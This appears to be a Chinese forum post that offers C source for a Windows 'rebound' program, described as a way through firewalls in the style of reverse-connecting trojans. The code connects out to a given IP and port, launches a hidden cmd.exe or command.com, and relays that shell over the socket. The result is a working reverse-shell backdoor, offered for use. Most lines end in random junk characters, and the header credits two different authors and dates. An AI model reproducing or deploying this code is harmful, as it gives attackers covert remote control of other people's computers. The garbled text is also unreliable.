这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 D"cKlp-I6|
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/* ============================== .b,~f
Rebound port in Windows NT <(YF5Xm6$h
By wind,2006/7 /'4Q{8.a
===============================*/ EjSD4
#include yp p 4L|R
#include UfKkgq#
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#pragma comment(lib,"wsock32.lib") ;g9% &
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void OutputShell(); n+?-
SOCKET sClient; :_Fxy5}
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #W|!fILL
IBET'!j4"
void main(int argc,char **argv) WYLX?x
{ >)^NJ2Fd
WSADATA stWsaData; <Y>3
int nRet; o8{<qn|
SOCKADDR_IN stSaiClient,stSaiServer; W`x)=y]Z
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if(argc != 3) RM,'o[%
{ > rw"Rd'
printf("Useage:\n\rRebound DestIP DestPort\n"); OR;&TbWF(R
return; _R74/|
} =Z`0>R`
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WSAStartup(MAKEWORD(2,2),&stWsaData); [D[D`gpjA
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r?^"65=
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stSaiClient.sin_family = AF_INET; <HF-2?`
stSaiClient.sin_port = htons(0); fa{@$ppx
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6V2j*J
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &z>q#'X;.
{ EwQae(PpA
printf("Bind Socket Failed!\n"); Pq?*C;D
return; v9rVpYc"
} AS|Rd+.
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stSaiServer.sin_family = AF_INET; QKccrAo
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); F;kvH
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); KjOi(YUnq7
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ffk4mhH
{ }9CrFTbx;
printf("Connect Error!"); iyj3QLqE
return; XG&K32_fs
} X NE+(Bt
OutputShell(); TwFb%YM
} Z`s!dV]e9
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void OutputShell() "w&/m}E,[
{ B< hEx@
char szBuff[1024]; gxmc|
SECURITY_ATTRIBUTES stSecurityAttributes; oZ:{@=
OSVERSIONINFO stOsversionInfo; ?Y3@" rdR
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; m}5q]N";x
STARTUPINFO stStartupInfo; i&&qbZt
char *szShell; 5UOk)rOf
PROCESS_INFORMATION stProcessInformation; e$wt&^W
unsigned long lBytesRead; Uh}X<d/V
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); tjxvN 4l
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~`R1sSr"
stSecurityAttributes.lpSecurityDescriptor = 0; G{o+R]Us
stSecurityAttributes.bInheritHandle = TRUE; z+/LS5$
}OrYpZob
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Rla4L`X;
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); kcS6 _l
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^i`*Wm@!
stStartupInfo.wShowWindow = SW_HIDE; h|p[OecG
stStartupInfo.hStdInput = hReadPipe; R1'`F{56
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |zpx)8Q
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GetVersionEx(&stOsversionInfo); yvxl_*Ds8
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switch(stOsversionInfo.dwPlatformId) r1Z<:}ZwK
{ <Wy>^<`
case 1: *]x_,:R6Ow
szShell = "command.com"; a)S7}0|R
break; O<GF>
default: O
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szShell = "cmd.exe"; 2-v\3voN
break; RH1uVdJ1
} YwAnqAg
kon=il<@
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'ere!:GJD
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send(sClient,szMsg,77,0); Q4wc-s4RN
while(1) q#vlBL
{ ,%hj cGX11
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); };sMU6e
if(lBytesRead) <*Y'lV
{ \ e,?rH
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5@P-g
send(sClient,szBuff,lBytesRead,0); !kXeO6X@m
} <zfKC
else F_ljx
{ L'9N9CR{i
lBytesRead=recv(sClient,szBuff,1024,0); *IZf^-=Q
if(lBytesRead<=0) break; ~>%DKJe
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Zq*eX\#C
} 3k'.(P|F
} A1A3~9HuK
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return; .7Kk2Y
}